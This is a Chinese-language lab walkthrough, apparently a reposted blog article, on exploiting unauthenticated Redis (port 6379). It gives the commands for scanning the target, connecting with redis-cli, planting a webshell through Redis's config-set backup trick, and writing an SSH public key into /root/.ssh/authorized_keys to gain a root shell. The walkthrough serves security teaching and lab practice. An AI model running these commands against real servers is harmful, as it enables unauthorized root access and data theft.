• redis未授权访问漏洞的利用


    目录

    一、探测redis的未授权访问

    二、利用未授权访问漏洞写入一句话木马

    三、利用redis未授权访问写入ssh公钥获取shell


    当redis服务(6379)端口对外开放且未作密码认证时,任意用户可未授权访问redis服务并操作获取其数据。
    攻击机:10.1.1.100 kali
    目标靶机:10.1.1.200


    一、探测redis的未授权访问


    首先在攻击机上使用nmap对目标机进行扫描,探测开放的服务与端口。
    使用全端口扫描,探测存在的服务: nmap -p- -sV 10.1.1.200

    图片
    探测到靶机开放了多个端口,其中存在redis服务的6379端口,开始尝试是否存在redis未授权访问漏洞。
    下载redis连接工具,解压后使用make命令进行编译。

    图片
    编译后的redis-cli文件存放在src目录中,将其复制到bin目录下,就可以在任意位置执行。

    图片
    使用redis-cli工具对redis数据尝试进行连接。
    redis-cli -h 10.1.1.200 -p 6379

    图片
    连接成功,这个地方存在一个未授权访问。

    二、利用未授权访问漏洞写入一句话木马

    对之前使用nmap扫描到的80端口进行访问,发现了一个页面,判断存在web服务,尝试使用扫描工具对目录进行一个探测。

    图片
    使用dirsearch工具进行目录的探测,发现还存在一个phpinfo目录。

    图片

    图片
    看到了网站的根目录

    图片
    利用之前已经远程连接到的redis数据库,利用写入备份文件的方式,在这个地方可以尝试写入一句话木马。
    config set dir <路径> #设置备份路径
    config set dbfilename <文件名> #设置备份文件的名字
    set #写入数据
    save #保存

    图片
    访问目标,拿到webshell

    图片

    三、利用redis未授权访问写入ssh公钥获取shell


    先生成ssh的公钥,公钥文件一般保存在/root/.ssh目录下
    ssh-keygen -t rsa


    将公钥写入到foo.txt文件中,前后使用换行,必然和其他符号连接产生其他不可预知错误。
    (echo -e “\n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”) > /tmp/foo.txt

    图片
    将公钥信息写入到目标靶机
    cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey

    图片
    再一次利用备份功能写入公钥的备份文件。
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save

    图片
    使用ssh连接方式:ssh root@10.1.1.200 -i /root/.ssh/id_rsa

    图片
    成功获取到shell。

    申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

    所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

    图片

    没看够~?欢迎关注!

  • 相关阅读:
    Android入门第26天-在Android里自定义Adapter
    Unity 加载读取PPT
    SAP物料分类账的简单理解
    拥抱 Spring 全新 OAuth 解决方案
    沟通和礼仪
    提质增效,安全灵活,阿里云EDA上云方案让芯片设计驶入高速路
    视差特效的原理和实现方法
    Vue + Element-UI —— 项目实战(七)
    Flutter高仿微信-第35篇-单聊-视频通话
    ES6 set map初识
  • 原文地址:https://blog.csdn.net/hackzkaq/article/details/134442486